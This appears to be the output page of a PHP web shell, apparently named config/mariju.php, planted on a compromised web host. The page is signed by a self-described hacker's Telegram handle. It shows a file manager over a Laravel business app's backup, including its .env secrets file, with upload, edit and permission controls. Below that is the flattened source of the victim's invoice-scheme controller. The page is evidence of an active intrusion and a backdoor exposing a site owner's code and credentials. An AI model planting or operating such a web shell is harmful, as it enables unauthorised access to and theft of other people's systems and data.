telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log15230753 KBJuly 18 2025 16:55:500644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
number_types = ['sequential' => __('invoice.sequential'), 'random'=> __('invoice.random')]; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); if (request()->ajax()) { $schemes = InvoiceScheme::where('business_id', $business_id) ->select(['id', 'name', 'scheme_type', 'prefix', 'number_type', 'start_number', 'invoice_count', 'total_digits', 'is_default']); return Datatables::of($schemes) ->addColumn( 'action', '     @if($is_default) @else @endif ' ) ->editColumn('number_type', function ($row) { return $this->number_types[$row->number_type]; }) ->editColumn('prefix', function ($row) { if ($row->scheme_type == 'year') { return $row->prefix.date('Y').config('constants.invoice_scheme_separator'); } else { return $row->prefix; } }) ->editColumn('name', function ($row) { if ($row->is_default == 1) { return $row->name.'   '.__('barcode.default').''; } else { return $row->name; } }) ->removeColumn('id') ->removeColumn('is_default') ->removeColumn('scheme_type') ->rawColumns([6, 0]) ->make(false); } $invoice_layouts = InvoiceLayout::where('business_id', $business_id) ->with(['locations']) ->get(); return view('invoice_scheme.index') ->with(compact('invoice_layouts')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } $number_types = $this->number_types; return view('invoice_scheme.create')->with(compact('number_types')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'scheme_type', 'prefix', 'start_number', 'total_digits', 'number_type']); $business_id = $request->session()->get('user.business_id'); $input['business_id'] = $business_id; $input['start_number'] = ($input['number_type'] == 'aleatory') ? '' : $input['start_number']; if (! empty($request->input('is_default'))) { //get_default $default = InvoiceScheme::where('business_id', $business_id) ->where('is_default', 1) ->update(['is_default' => 0]); $input['is_default'] = 1; } InvoiceScheme::create($input); $output = ['success' => true, 'msg' => __('invoice.added_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); $invoice = InvoiceScheme::where('business_id', $business_id)->find($id); $number_types = $this->number_types; return view('invoice_scheme.edit') ->with(compact('invoice', 'number_types')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'scheme_type', 'prefix', 'start_number', 'total_digits', 'number_type']); $input['start_number'] = ($input['number_type'] == 'aleatory') ? '' : $input['start_number']; $invoice = InvoiceScheme::where('id', $id)->update($input); $output = ['success' => true, 'msg' => __('invoice.updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { try { $invoice = InvoiceScheme::find($id); if ($invoice->is_default != 1) { $invoice->delete(); $output = ['success' => true, 'msg' => __('invoice.deleted_success'), ]; } else { $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } } /** * Sets invoice scheme setting as default * * @param int $id * @return \Illuminate\Http\Response */ public function setDefault($id) { if (! auth()->user()->can('invoice_settings.access')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { try { //get_default $business_id = request()->session()->get('user.business_id'); $default = InvoiceScheme::where('business_id', $business_id) ->where('is_default', 1) ->update(['is_default' => 0]); $invoice = InvoiceScheme::find($id); $invoice->is_default = 1; $invoice->save(); $output = ['success' => true, 'msg' => __('barcode.default_set_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } } }